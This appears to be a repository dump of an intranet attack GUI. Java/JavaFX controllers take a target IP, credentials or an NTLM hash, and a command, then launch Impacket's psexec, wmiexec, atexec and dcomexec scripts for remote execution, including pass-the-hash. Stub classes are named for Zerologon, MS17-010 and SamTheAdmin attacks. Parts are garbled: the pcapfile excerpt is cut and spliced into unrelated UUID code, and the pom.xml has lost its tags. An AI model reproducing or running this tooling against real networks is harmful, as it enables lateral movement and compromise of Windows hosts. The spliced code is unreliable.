3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 |
10 | LINKTYPE_NULL = 0
11 | DLT_NULL = LINKTYPE_NULL
12 | LINKTYPE_ETHERNET = 1
13 | DLT_EN10MB = LINKTYPE_ETHERNET
14 | LINKTYPE_AX25 = 3
15 | DLT_AX25 = LINKTYPE_AX25
16 | NKTYPE_IEEE802_5 = 6
17 | DLT_IEEE802 = NKTYPE_IEEE802_5
18 | LINKTYPE_ARCNET_BSD = 7
19 | DLT_ARCNET = LINKTYPE_ARCNET_BSD
20 | LINKTYPE_SLIP = 8
21 | DLT_SLIP = LINKTYPE_SLIP
22 | LINKTYPE_PPP = 9
23 | DLT_PPP = LINKTYPE_PPP
24 | LINKTYPE_FDDI = 10
25 | DLT_FDDI = LINKTYPE_FDDI
26 | LINKTYPE_PPP_HDLC = 50
27 | DLT_PPP_SERIAL = LINKTYPE_PPP_HDLC
28 | LINKTYPE_PPP_ETHER = 51
29 | DLT_PPP_ETHER = LINKTYPE_PPP_ETHER
30 | LINKTYPE_ATM_RFC1483 = 100
31 | DLT_ATM_RFC1483 = LINKTYPE_ATM_RFC1483
32 | LINKTYPE_RAW = 101
33 | DLT_RAW = LINKTYPE_RAW
34 | LINKTYPE_C_HDLC = 104
35 | DLT_C_HDLC = LINKTYPE_C_HDLC
36 | LINKTYPE_IEEE802_11 = 105
37 | DLT_IEEE802_11 = LINKTYPE_IEEE802_11
38 | LINKTYPE_FRELAY = 107
39 | DLT_FRELAY = LINKTYPE_FRELAY
40 | LINKTYPE_LOOP = 108
41 | DLT_LOOP = LINKTYPE_LOOP
42 | LINKTYPE_LINUX_SLL = 113
43 | DLT_LINUX_SLL = LINKTYPE_LINUX_SLL
44 | LINKTYPE_LTALK = 114
45 | DLT_LTALK = LINKTYPE_LTALK
46 | LINKTYPE_PFLOG = 117
47 | DLT_PFLOG = LINKTYPE_PFLOG
48 | LINKTYPE_IEEE802_11_PRISM = 119
49 | DLT_PRISM_HEADER = LINKTYPE_IEEE802_11_PRISM
50 | LINKTYPE_IP_OVER_FC = 122
51 | DLT_IP_OVER_FC = LINKTYPE_IP_OVER_FC
52 | LINKTYPE_SUNATM = 123
53 | DLT_SUNATM = LINKTYPE_SUNATM
54 | LINKTYPE_IEEE802_11_RADIOTAP = 127
55 | DLT_IEEE802_11_RADIO = LINKTYPE_IEEE802_11_RADIOTAP
56 | LINKTYPE_ARCNET_LINUX = 129
57 | DLT_ARCNET_LINUX = LINKTYPE_ARCNET_LINUX
58 | LINKTYPE_APPLE_IP_OVER_IEEE1394 = 138
59 | DLT_APPLE_IP_OVER_IEEE1394 = LINKTYPE_APPLE_IP_OVER_IEEE1394
60 | LINKTYPE_MTP2_WITH_PHDR = 139
61 | DLT_MTP2_WITH_PHDR = LINKTYPE_MTP2_WITH_PHDR
62 | LINKTYPE_MTP2 = 140
63 | DLT_MTP2 = LINKTYPE_MTP2
64 | LINKTYPE_MTP3 = 141
65 | DLT_MTP3 = LINKTYPE_MTP3
66 | LINKTYPE_SCCP = 142
67 | DLT_SCCP = LINKTYPE_SCCP
68 | LINKTYPE_DOCSIS = 143
69 | DLT_DOCSIS = LINKTYPE_DOCSIS
70 | LINKTYPE_LINUX_IRDA = 144
71 | DLT_LINUX_IRDA = LINKTYPE_LINUX_IRDA
72 | LINKTYPE_IEEE802_11_AVS = 163
73 | DLT_IEEE802_11_RADIO_AVS = LINKTYPE_IEEE802_11_AVS
74 | LINKTYPE_BACNET_MS_TP = 165
75 | DLT_BACNET_MS_TP = LINKTYPE_BACNET_MS_TP
76 | LINKTYPE_PPP_PPPD = 166
77 | DLT_PPP_PPPD = LINKTYPE_PPP_PPPD
78 | LINKTYPE_GPRS_LLC = 169
79 | DLT_GPRS_LLC = LINKTYPE_GPRS_LLC
80 | LINKTYPE_LINUX_LAPD = 177
81 | DLT_LINUX_LAPD = LINKTYPE_LINUX_LAPD
82 | LINKTYPE_BLUETOOTH_HCI_H4 = 187
83 | DLT_BLUETOOTH_HCI_H4 = LINKTYPE_BLUETOOTH_HCI_H4
84 | LINKTYPE_USB_LINUX = 189
85 | DLT_USB_LINUX = LINKTYPE_USB_LINUX
86 | LINKTYPE_PPI = 192
87 | DLT_PPI = LINKTYPE_PPI
88 | LINKTYPE_IEEE802_15_4 = 195
89 | DLT_IEEE802_15_4 = LINKTYPE_IEEE802_15_4
90 | LINKTYPE_SITA = 196
91 | DLT_SITA = LINKTYPE_SITA
92 | LINKTYPE_ERF = 197
93 | DLT_ERF = LINKTYPE_ERF
94 | LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR = 201
95 | DLT_BLUETOOTH_HCI_H4_WITH_PHDR = LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR
96 | LINKTYPE_AX25_KISS = 202
97 | DLT_AX25_KISS = LINKTYPE_AX25_KISS
98 | LINKTYPE_LAPD = 203
99 | DLT_LAPD = LINKTYPE_LAPD
100 | LINKTYPE_PPP_WITH_DIR = 204
101 | DLT_PPP_WITH_DIR = LINKTYPE_PPP_WITH_DIR
102 | LINKTYPE_C_HDLC_WITH_DIR = 205
103 | DLT_C_HDLC_WITH_DIR = LINKTYPE_C_HDLC_WITH_DIR
104 | LINKTYPE_FRELAY_WITH_DIR = 206
105 | DLT_FRELAY_WITH_DIR = LINKTYPE_FRELAY_WITH_DIR
106 | LINKTYPE_IPMB_LINUX = 209
107 | DLT_IPMB_LINUX = LINKTYPE_IPMB_LINUX
108 | LINKTYPE_IEEE802_15_4_NONASK_PHY = 215
109 | DLT_IEEE802_15_4_NONASK_PHY = LINKTYPE_IEEE802_15_4_NONASK_PHY
110 | LINKTYPE_USB_LINUX_MMAPPED = 220
111 | DLT_USB_LINUX_MMAPPED = LINKTYPE_USB_LINUX_MMAPPED
112 | LINKTYPE_FC_2 = 224
113 | DLT_FC_2 = LINKTYPE_FC_2
114 | LINKTYPE_FC_2_WITH_FRAME_DELIMS = 225
115 | DLT_FC_2_WITH_FRAME_DELIMS = LINKTYPE_FC_2_WITH_FRAME_DELIMS
116 | LINKTYPE_IPNET = 226
117 | DLT_IPNET = LINKTYPE_IPNET
118 | LINKTYPE_CAN_SOCKETCAN = 227
119 | DLT_CAN_SOCKETCAN = LINKTYPE_CAN_SOCKETCAN
120 | LINKTYPE_IPV4 = 228
121 | DLT_IPV4 = LINKTYPE_IPV4
122 | LINKTYPE_IPV6 = 229
123 | DLT_IPV6 = LINKTYPE_IPV6
124 | LINKTYPE_IEEE802_15_4_NOFCS = 230
125 | DLT_IEEE802_15_4_NOFCS = LINKTYPE_IEEE802_15_4_NOFCS
126 | LINKTYPE_DBUS = 231
127 | DLT_DBUS = LINKTYPE_DBUS
128 | LINKTYPE_DVB_CI = 235
129 | DLT_DVB_CI = LINKTYPE_DVB_CI
130 | LINKTYPE_MUX27010 = 236
131 | DLT_MUX27010 = LINKTYPE_MUX27010
132 | LINKTYPE_STANAG_5066_D_PDU = 237
133 | DLT_STANAG_5066_D_PDU = LINKTYPE_STANAG_5066_D_PDU
134 | LINKTYPE_NFLOG = 239
135 | DLT_NFLOG = LINKTYPE_NFLOG
136 | LINKTYPE_NETANALYZER = 240
137 | DLT_NETANALYZER = LINKTYPE_NETANALYZER
138 | LINKTYPE_NETANALYZER_TRANSPARENT = 241
139 | DLT_NETANALYZER_TRANSPARENT = LINKTYPE_NETANALYZER_TRANSPARENT
140 | LINKTYPE_IPOIB = 242
141 | DLT_IPOIB = LINKTYPE_IPOIB
142 | LINKTYPE_MPEG_2_TS = 243
143 | DLT_MPEG_2_TS = LINKTYPE_MPEG_2_TS
144 | LINKTYPE_NG40 = 244
145 | DLT_NG40 = LINKTYPE_NG40
146 | LINKTYPE_NFC_LLCP = 245
147 | DLT_NFC_LLCP = LINKTYPE_NFC_LLCP
148 | LINKTYPE_INFINIBAND = 247
149 | DLT_INFINIBAND = LINKTYPE_INFINIBAND
150 | LINKTYPE_SCTP = 248
151 | DLT_SCTP = LINKTYPE_SCTP
152 | LINKTYPE_USBPCAP = 249
153 | DLT_USBPCAP = LINKTYPE_USBPCAP
154 | LINKTYPE_RTAC_SERIAL = 250
155 | DLT_RTAC_SERIAL = LINKTYPE_RTAC_SERIAL
156 | LINKTYPE_BLUETOOTH_LE_LL = 251
157 | DLT_BLUETOOTH_LE_LL = LINKTYPE_BLUETOOTH_LE_LL
158 | LINKTYPE_NETLINK = 253
159 | DLT_NETLINK = LINKTYPE_NETLINK
160 | LINKTYPE_BLUETOOTH_LINUX_MONITOR = 254
161 | DLT_BLUETOOTH_LINUX_MONITOR = LINKTYPE_BLUETOOTH_LINUX_MONITOR
162 | LINKTYPE_BLUETOOTH_BREDR_BB = 255
163 | DLT_BLUETOOTH_BREDR_BB = LINKTYPE_BLUETOOTH_BREDR_BB
164 | LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR = 256
165 | DLT_BLUETOOTH_LE_LL_WITH_PHDR = LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR
166 | LINKTYPE_PROFIBUS_DL = 257
167 | DLT_PROFIBUS_DL = LINKTYPE_PROFIBUS_DL
168 | LINKTYPE_PKTAP = 258
169 | DLT_PKTAP = LINKTYPE_PKTAP
170 | LINKTYPE_EPON = 259
171 | DLT_EPON = LINKTYPE_EPON
172 | LINKTYPE_IPMI_HPM_2 = 260
173 | DLT_IPMI_HPM_2 = LINKTYPE_IPMI_HPM_2
174 |
--------------------------------------------------------------------------------
/plugins/impacket/pcapfile.py:
--------------------------------------------------------------------------------
1 | # Impacket - Collection of Python classes for working with network protocols.
2 | #
3 | # Copyright (C) 2023 Fortra. All rights reserved.
4 | #
5 | # This software is provided under a slightly modified version
6 | # of the Apache Software License. See the accompanying LICENSE file
7 | # for more information.
8 | #
9 |
10 | from impacket import structure
11 |
12 | O_ETH = 0
13 | O_IP = 1
14 | O_ARP = 1
15 | O_UDP = 2
16 | O_TCP = 2
17 | O_ICMP = 2
18 | O_UDP_DATA = 3
19 | O_ICMP_DATA = 3
20 |
21 | MAGIC = '"\xD4\xC3\xB2\xA1'
22 |
23 | class PCapFileHeader(structure.Structure):
24 | structure = (
25 | ('magic', MAGIC),
26 | ('versionMajor', 'HHL', uuid[8:16])
37 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
38 |
39 |
40 | def string_to_bin(uuid):
41 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is
42 | if '-' not in uuid:
43 | return binascii.unhexlify(uuid)
44 |
45 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
46 | # The first three components of the UUID are little-endian, and the last two are big-endian
47 | matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})",
48 | uuid)
49 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
50 | uuid = pack('HHL', uuid4, uuid5, uuid6)
52 | return uuid
53 |
54 |
55 | def stringver_to_bin(s):
56 | (maj, min) = s.split('.')
57 | return pack('
2 |
5 | 4.0.0
6 |
7 | org.springframework.boot
8 | spring-boot-starter-parent
9 | 2.7.8
10 |
11 |
12 | groupId
13 | J8-GUI
14 | 1.0-SNAPSHOT
15 |
16 | 1.8
17 |
18 |
19 |
20 |
21 | org.apache.commons
22 | commons-lang3
23 | 3.3.2
24 |
25 |
26 |
27 | cn.hutool
28 | hutool-all
29 | 5.8.20
30 |
31 |
32 |
33 | com.hierynomus
34 | smbj
35 | 0.12.0
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 | org.springframework.boot
44 | spring-boot-maven-plugin
45 |
46 | sample.Main
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/src/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/.DS_Store
--------------------------------------------------------------------------------
/src/main/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/com/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/com/ajie/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/ajie/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/ajie/controller/.DS_Store
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/ATexec/CiphermodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.ATexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class CiphermodeController {
11 | public CiphermodeController(TextArea a_m_area, TextField a_m_cmd, TextField a_m_ip, TextField a_m_pass, TextField a_m_user) {
12 |
13 | String ip = a_m_ip.getText();
14 | String user = a_m_user.getText();
15 | String pass = a_m_pass.getText();
16 | String cmd = a_m_cmd.getText();
17 | try {
18 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/atexec.py";
19 | ArrayList command = new ArrayList<>();
20 | command.add("python3");
21 | command.add(pluginPath);
22 | command.add(user + ":" + pass + "@" + ip);
23 | command.add(cmd);
24 | ProcessBuilder processBuilder = new ProcessBuilder(command);
25 | processBuilder.redirectErrorStream(true);
26 | Process process = processBuilder.start();
27 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
28 | String line;
29 | while ((line = reader.readLine()) != null) {
30 | a_m_area.appendText(line + "\n");
31 | }
32 | reader.close();
33 | process.waitFor();
34 | } catch (Exception e) {
35 | e.printStackTrace();
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/ATexec/HashmodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.ATexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class HashmodeController {
11 | public HashmodeController(TextArea a_h_area, TextField a_h_cmd, TextField a_h_ip, TextField a_h_hash, TextField a_h_user){
12 | String ip = a_h_ip.getText();
13 | String user = a_h_user.getText();
14 | String hash = a_h_hash.getText();
15 | String cmd = a_h_cmd.getText();
16 | try {
17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/atexec.py";
18 | ArrayList command = new ArrayList<>();
19 | command.add("python3");
20 | command.add(pluginPath);
21 | command.add("-hashes");
22 | command.add("00000000000000000000000000000000:" + hash);
23 | command.add(user + "@" + ip);
24 | command.add(cmd);
25 | ProcessBuilder processBuilder = new ProcessBuilder(command);
26 | processBuilder.redirectErrorStream(true);
27 | Process process = processBuilder.start();
28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
29 | String line;
30 | while ((line = reader.readLine()) != null) {
31 | a_h_area.appendText(line + "\n");
32 | }
33 | reader.close();
34 | process.waitFor();
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/AllController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller;
2 |
3 |
4 |
5 | import javafx.fxml.FXML;
6 | import javafx.scene.control.ChoiceBox;
7 | import javafx.scene.control.TextArea;
8 | import javafx.scene.control.TextField;
9 | import javafx.scene.input.MouseEvent;
10 |
11 |
12 | public class AllController {
13 | @FXML
14 | private TextArea w_m_area;
15 |
16 |
17 | @FXML
18 | private TextField w_m_cmd;
19 |
20 | @FXML
21 | private TextField w_m_ip;
22 |
23 | @FXML
24 | private TextField w_m_pass;
25 |
26 | @FXML
27 | private TextField w_m_user;
28 |
29 | @FXML
30 | private TextArea w_h_area;
31 |
32 | @FXML
33 | private TextField w_h_cmd;
34 |
35 | @FXML
36 | private TextField w_h_hash;
37 |
38 | @FXML
39 | private TextField w_h_ip;
40 |
41 | @FXML
42 | private TextField w_h_user;
43 |
44 | @FXML
45 | private TextArea p_m_area;
46 |
47 | @FXML
48 | private TextField p_m_cmd;
49 |
50 | @FXML
51 | private TextField p_m_ip;
52 |
53 | @FXML
54 | private TextField p_m_pass;
55 |
56 | @FXML
57 | private TextField p_m_user;
58 |
59 | @FXML
60 | private TextArea p_h_area;
61 |
62 | @FXML
63 | private TextField p_h_cmd;
64 |
65 | @FXML
66 | private TextField p_h_hash;
67 |
68 | @FXML
69 | private TextField p_h_ip;
70 |
71 | @FXML
72 | private TextField p_h_user;
73 |
74 | @FXML
75 | private TextField s_h_cmd;
76 |
77 | @FXML
78 | private TextField s_h_hash;
79 |
80 | @FXML
81 | private TextField s_h_ip;
82 |
83 | @FXML
84 | private TextArea s_h_srea;
85 |
86 | @FXML
87 | private TextField s_h_user;
88 |
89 | @FXML
90 | private TextArea s_m_area;
91 |
92 | @FXML
93 | private TextField s_m_cmd;
94 |
95 | @FXML
96 | private TextField s_m_ip;
97 |
98 | @FXML
99 | private TextField s_m_pass;
100 |
101 | @FXML
102 | private TextField s_m_user;
103 |
104 | @FXML
105 | private TextArea a_h_area;
106 |
107 | @FXML
108 | private TextField a_h_cmd;
109 |
110 | @FXML
111 | private TextField a_h_hash;
112 |
113 | @FXML
114 | private TextField a_h_ip;
115 |
116 | @FXML
117 | private TextField a_h_user;
118 |
119 | @FXML
120 | private TextArea a_m_area;
121 |
122 | @FXML
123 | private TextField a_m_cmd;
124 |
125 | @FXML
126 | private TextField a_m_ip;
127 |
128 | @FXML
129 | private TextField a_m_pass;
130 |
131 | @FXML
132 | private TextField a_m_user;
133 |
134 | @FXML
135 | private TextArea d_h_area;
136 |
137 |
138 | @FXML
139 | private TextField d_h_cmd;
140 |
141 | @FXML
142 | private TextField d_h_hash;
143 |
144 | @FXML
145 | private TextField d_h_ip;
146 |
147 | @FXML
148 | private TextField d_h_user;
149 |
150 | @FXML
151 | private TextArea d_m_area;
152 |
153 | @FXML
154 | private TextField d_m_cmd;
155 |
156 | @FXML
157 | private TextField d_m_ip;
158 |
159 | @FXML
160 | private TextField d_m_pass;
161 |
162 | @FXML
163 | private TextField d_m_user;
164 |
165 |
166 | @FXML
167 | void m_attack(MouseEvent event) {
168 | new com.ajie.controller.wmiexec.CiphermodeController(w_m_area,w_m_cmd,w_m_ip,w_m_pass,w_m_user);
169 | }
170 |
171 |
172 | @FXML
173 | void m_clear(MouseEvent event) {
174 | w_m_area.clear();
175 | }
176 |
177 |
178 | @FXML
179 | void w_h_attack(MouseEvent event) {
180 | new com.ajie.controller.wmiexec.HashmodeController(w_h_area, w_h_cmd, w_h_ip, w_h_hash, w_h_user);
181 |
182 | }
183 |
184 | @FXML
185 | void w_h_clear(MouseEvent event) {
186 | w_h_area.clear();
187 | }
188 |
189 |
190 | @FXML
191 | void p_m_attack(MouseEvent event) {
192 | new com.ajie.controller.psexec.CiphermodeController(p_m_area, p_m_cmd, p_m_ip, p_m_pass, p_m_user);
193 | }
194 |
195 | @FXML
196 | void p_m_clear(MouseEvent event) {
197 | p_m_area.clear();
198 | }
199 |
200 | @FXML
201 | void p_h_attack(MouseEvent event) {
202 | new com.ajie.controller.psexec.HashmodeController(p_h_area, p_h_cmd, p_h_ip, p_h_hash, p_h_user);
203 | }
204 |
205 | @FXML
206 | void p_h_clear(MouseEvent event) {
207 | p_h_area.clear();
208 | }
209 |
210 | @FXML
211 | void s_h_attack(MouseEvent event) {
212 | //
213 | }
214 |
215 | @FXML
216 | void s_h_clear(MouseEvent event) {
217 | //
218 | }
219 |
220 | @FXML
221 | void s_m_attack(MouseEvent event) {
222 | //
223 | }
224 |
225 | @FXML
226 | void s_m_clear(MouseEvent event) {
227 | //
228 | }
229 |
230 | @FXML
231 | void a_h_attack(MouseEvent event) {
232 | new com.ajie.controller.ATexec.HashmodeController(a_h_area, a_h_cmd, a_h_ip, a_h_hash, a_h_user);
233 | }
234 |
235 | @FXML
236 | void a_h_clear(MouseEvent event) {
237 | a_h_area.clear();
238 | }
239 |
240 | @FXML
241 | void a_m_attack(MouseEvent event) {
242 | new com.ajie.controller.ATexec.CiphermodeController(a_m_area, a_m_cmd, a_m_ip, a_m_pass, a_m_user);
243 | }
244 |
245 | @FXML
246 | void a_m_clear(MouseEvent event) {
247 | a_m_area.clear();
248 | }
249 |
250 | @FXML
251 | void d_m_attack(MouseEvent event) {
252 | new com.ajie.controller.DCOMexec.CiphermodeController(d_m_area, d_m_cmd, d_m_ip, d_m_pass, d_m_user);
253 | }
254 |
255 | @FXML
256 | void d_m_clear(MouseEvent event) {
257 | d_m_area.clear();
258 | }
259 | @FXML
260 | void d_h_attack(MouseEvent event) {
261 | new com.ajie.controller.DCOMexec.HashmodeController(d_h_area, d_h_cmd, d_h_ip, d_h_hash, d_h_user);
262 | }
263 |
264 | @FXML
265 | void d_h_clear(MouseEvent event) {
266 | d_h_area.clear();
267 | }
268 |
269 |
270 | }
271 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DCOMexec/CiphermodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DCOMexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class CiphermodeController {
11 | public CiphermodeController(TextArea d_m_area, TextField d_m_cmd, TextField d_m_ip, TextField d_m_pass, TextField d_m_user) {
12 |
13 | String ip = d_m_ip.getText();
14 | String user = d_m_user.getText();
15 | String pass = d_m_pass.getText();
16 | String cmd = d_m_cmd.getText();
17 | try {
18 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/dcomexec.py";
19 | ArrayList command = new ArrayList<>();
20 | command.add("python3");
21 | command.add(pluginPath);
22 | command.add(user + ":" + pass + "@" + ip);
23 | command.add(cmd);
24 | ProcessBuilder processBuilder = new ProcessBuilder(command);
25 | processBuilder.redirectErrorStream(true);
26 | Process process = processBuilder.start();
27 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
28 | String line;
29 | while ((line = reader.readLine()) != null) {
30 | d_m_area.appendText(line + "\n");
31 | }
32 | reader.close();
33 | process.waitFor();
34 | } catch (Exception e) {
35 | e.printStackTrace();
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DCOMexec/HashmodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DCOMexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class HashmodeController {
11 | public HashmodeController(TextArea d_h_area, TextField d_h_cmd, TextField d_h_ip, TextField d_h_hash, TextField d_h_user){
12 | String ip = d_h_ip.getText();
13 | String user = d_h_user.getText();
14 | String hash = d_h_hash.getText();
15 | String cmd = d_h_cmd.getText();
16 | try {
17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/dcomexec.py";
18 | ArrayList command = new ArrayList<>();
19 | command.add("python3");
20 | command.add(pluginPath);
21 | command.add("-hashes");
22 | command.add("00000000000000000000000000000000:" + hash);
23 | command.add(user + "@" + ip);
24 | command.add(cmd);
25 | ProcessBuilder processBuilder = new ProcessBuilder(command);
26 | processBuilder.redirectErrorStream(true);
27 | Process process = processBuilder.start();
28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
29 | String line;
30 | while ((line = reader.readLine()) != null) {
31 | d_h_area.appendText(line + "\n");
32 | }
33 | reader.close();
34 | process.waitFor();
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DC_attack/FileSearchController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DC_attack;
2 |
3 | public class FileSearchController {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DC_attack/MS17010Controller.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DC_attack;
2 |
3 | public class MS17010Controller {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DC_attack/SamTheAdminController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DC_attack;
2 |
3 | public class SamTheAdminController {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DC_attack/ZerologonAttackController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DC_attack;
2 |
3 | public class ZerologonAttackController {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/DC_attack/ZerologonScanController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.DC_attack;
2 |
3 | public class ZerologonScanController {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/SMBexec/CiphermodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.SMBexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 | import java.io.BufferedReader;
6 | import java.io.IOException;
7 | import java.io.InputStreamReader;
8 | import java.io.OutputStream;
9 | import java.util.ArrayList;
10 | import java.util.Scanner;
11 | import java.util.regex.Matcher;
12 | import java.util.regex.Pattern;
13 |
14 |
15 | public class CiphermodeController {
16 |
17 |
18 | }
19 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/SMBexec/HashmodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.SMBexec;
2 |
3 | public class HashmodeController {
4 | }
5 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/psexec/CiphermodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.psexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.IOException;
8 | import java.io.InputStreamReader;
9 | import java.util.ArrayList;
10 |
11 | public class CiphermodeController {
12 |
13 | public CiphermodeController(TextArea p_m_area, TextField p_m_cmd, TextField p_m_ip, TextField p_m_pass, TextField p_m_user){
14 |
15 | String ip = p_m_ip.getText();
16 | String user = p_m_user.getText();
17 | String pass = p_m_pass.getText();
18 | String cmd = p_m_cmd.getText();
19 | try {
20 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py";
21 | ArrayList command = new ArrayList<>();
22 | command.add("python3");
23 | command.add(pluginPath);
24 | command.add(user + ":" + pass + "@" + ip);
25 | command.add(cmd);
26 | ProcessBuilder processBuilder = new ProcessBuilder(command);
27 | processBuilder.redirectErrorStream(true);
28 | Process process = processBuilder.start();
29 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
30 | String line;
31 | while ((line = reader.readLine()) != null) {
32 | p_m_area.appendText(line + "\n");
33 | }
34 | reader.close();
35 | process.waitFor();
36 | } catch (Exception e) {
37 | e.printStackTrace();
38 | }
39 | }
40 |
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/psexec/HashmodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.psexec;
2 |
3 | import javafx.scene.control.TextArea;
4 | import javafx.scene.control.TextField;
5 |
6 | import java.io.BufferedReader;
7 | import java.io.InputStreamReader;
8 | import java.util.ArrayList;
9 |
10 | public class HashmodeController {
11 | public HashmodeController(TextArea p_h_area, TextField p_h_cmd, TextField p_h_ip, TextField p_h_hash, TextField p_h_user){
12 | String ip = p_h_ip.getText();
13 | String user = p_h_user.getText();
14 | String hash = p_h_hash.getText();
15 | String cmd = p_h_cmd.getText();
16 | try {
17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py";
18 | ArrayList command = new ArrayList<>();
19 | command.add("python3");
20 | command.add(pluginPath);
21 | command.add("-hashes");
22 | command.add("00000000000000000000000000000000:" + hash);
23 | command.add(user + "@" + ip);
24 | command.add(cmd);
25 | ProcessBuilder processBuilder = new ProcessBuilder(command);
26 | processBuilder.redirectErrorStream(true);
27 | Process process = processBuilder.start();
28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
29 | String line;
30 | while ((line = reader.readLine()) != null) {
31 | p_h_area.appendText(line + "\n");
32 | }
33 | reader.close();
34 | process.waitFor();
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/com/ajie/controller/wmiexec/CiphermodeController.java:
--------------------------------------------------------------------------------
1 | package com.ajie.controller.wmiexec;
2 |
3 |
4 | import javafx.scene.control.ChoiceBox;
5 | import javafx.scene.control.TextArea;
6 | import javafx.scene.control.TextField;
7 |
8 | import java.io.*;
